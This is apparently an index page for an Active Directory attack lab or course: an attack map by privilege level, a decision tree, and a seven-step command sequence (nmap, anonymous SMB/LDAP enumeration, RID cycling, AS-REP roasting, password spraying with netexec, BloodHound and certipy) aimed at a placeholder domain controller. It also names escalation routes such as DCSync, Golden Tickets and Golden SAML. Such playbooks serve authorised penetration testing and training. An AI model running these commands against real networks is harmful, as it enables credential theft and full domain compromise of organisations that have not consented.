Active Directory Attack Overview

UNAUTHENTICATED
  |-- Anonymous LDAP bind -> password in description (7-anonymous-ldap-to-foothold)
  |-- SMB null session -> GPP cpassword (5-gpp-password-extraction)
  |-- RID cycling (lookupsid) -> user list
  |-- AS-REP Roasting (2-as-rep-roasting)

AUTHENTICATED USER
  |-- Password spraying across protocols (4-password-spraying)
  |-- Kerberoasting (3-kerberoasting)
  |-- BloodHound ingestion -> ACL analysis
  |-- NTLM relay (6-ntlm-theft-and-relay)
  |-- ADCS enumeration (9-adcs-exploitation)

PRIVILEGED USER (specific groups)
  |-- Server Operators: service binary hijack (11-group-membership-abuse)
  |-- Backup Operators: NTDS.dit dump (11-group-membership-abuse)
  |-- DNSAdmins: DLL injection (11-group-membership-abuse)
  |-- Account Operators: group manipulation (11-group-membership-abuse)
  |-- ReadLAPSPassword: local admin retrieval (12-laps-and-gmsa)
  |-- ReadGMSAPassword: managed account hash (12-laps-and-gmsa)

DOMAIN PRIVILEGED (ACL holder)
  |-- GenericAll on user -> force password / shadow credential (10-acl-abuse)
  |-- WriteOwner on group -> add self -> escalate (10-acl-abuse)
  |-- WriteDACL on domain -> grant DCSync (10-acl-abuse)
  |-- Targeted Kerberoasting via WriteSPN (10-acl-abuse)
  |-- RBCD (8-kerberos-delegation-attacks)
  |-- Constrained delegation abuse (8-kerberos-delegation-attacks)
  |-- AD Recycle Bin recovery (15-ad-recycle-bin-attacks)

DOMAIN ADMIN
  |-- DCSync (13-dcsync-and-golden-ticket)
  |-- Golden/Silver/Diamond Tickets (13-dcsync-and-golden-ticket)
  |-- Cross-forest attacks (14-trusts-and-cross-forest)
  |-- ADFS/SAML attacks (16-adfs-and-saml-attacks)

What access do you have?
|
+-- NO CREDENTIALS
|   +-- SMB Null Session? --> GPP password extraction, user enumeration
|   +-- Anonymous LDAP? ---> windapsearch, user description passwords
|   +-- User list exists? -> AS-REP Roasting (GetNPUsers)
|   +-- Username list? ----> Password spraying
|
+-- LOW-PRIVILEGED USER
|   +-- Kerberos enabled? --> Kerberoasting (GetUserSPNs)
|   +-- WinRM access? -----> Upload BloodHound collector, enumerate
|   +-- SMB write share? -> ntlm_theft, SCF/LNK attacks
|   +-- ADCS present? -----> certipy find (ESC1-16)
|   +-- SPN write rights? -> Targeted Kerberoasting
|
+-- PRIVILEGED GROUP MEMBER
|   +-- Server Operators? -> sc config binPath hijack
|   +-- Backup Operators? -> NTDS.dit dump via diskshadow or wbadmin
|   +-- DNSAdmins? ---------> DLL injection via DNS service
|   +-- Account Operators? -> Add self to Exchange groups -> DCSync
|   +-- LAPS_Readers? ------> Get-AdmPwdPassword
|   +-- Infrastructure (gMSA)? -> Read msDS-ManagedPassword
|
+-- ACL HOLDER
|   +-- GenericAll on User? ----> ForceChangePassword / Shadow Credential
|   +-- WriteOwner on Group? --> Take ownership -> add self -> escalate
|   +-- WriteDACL on Domain? --> Grant DCSync to controlled account
|   +-- GenericWrite on User? -> Targeted Kerberoasting (set SPN)
|   +-- GenericWrite on Computer? -> RBCD attack
|   +-- WriteProperty on GPO? -> GPO abuse via SharpGPOAbuse
|   +-- AddSelf on Group? ------> Add self to Infrastructure/LAPS_Readers
|
+-- DOMAIN ADMIN
    +-- DCSync with secretsdump.py
    +-- Forge Golden Ticket (krbtgt hash + domain SID)
    +-- Cross-forest: foreign group membership, trust key abuse
    +-- ADFS: Golden SAML, token signing certificate extraction

# Step 1: Scan and identify domain controller
nmap -p- --min-rate=1000 -T4 <TARGET>
nmap -p<open_ports> -sC -sV <TARGET>

# Step 2: Attempt anonymous access
smbclient -L //<TARGET>                          # Null session share listing
smbmap -H <TARGET>                                # Anonymous share enumeration
ldapsearch -x -H ldap://<TARGET> -b "dc=<domain>"  # Anonymous LDAP bind
./windapsearch.py -d <domain> --dc-ip <TARGET> -U  # User enumeration

# Step 3: Get user list
lookupsid.py guest@<TARGET> -no-pass 10000         # RID cycling
impacket-lookupsid '<domain>/guest'@<TARGET> -no-pass | grep 'SidTypeUser'

# Step 4: Try AS-REP roasting
GetNPUsers.py -usersfile users.txt <domain>/ -no-pass -dc-ip <TARGET>

# Step 5: Spray common passwords
netexec smb <TARGET> -u users.txt -p passwords.txt

# Step 6: BloodHound ingestion (once credentials exist)
bloodhound-python -d <domain> -u <user> -p '<pass>' -dc <dc> -c all -ns <ip>

# Step 7: ADCS enumeration (once credentials exist)
certipy find -u <user>@<domain> -p '<pass>' -dc-ip <TARGET> -vulnerable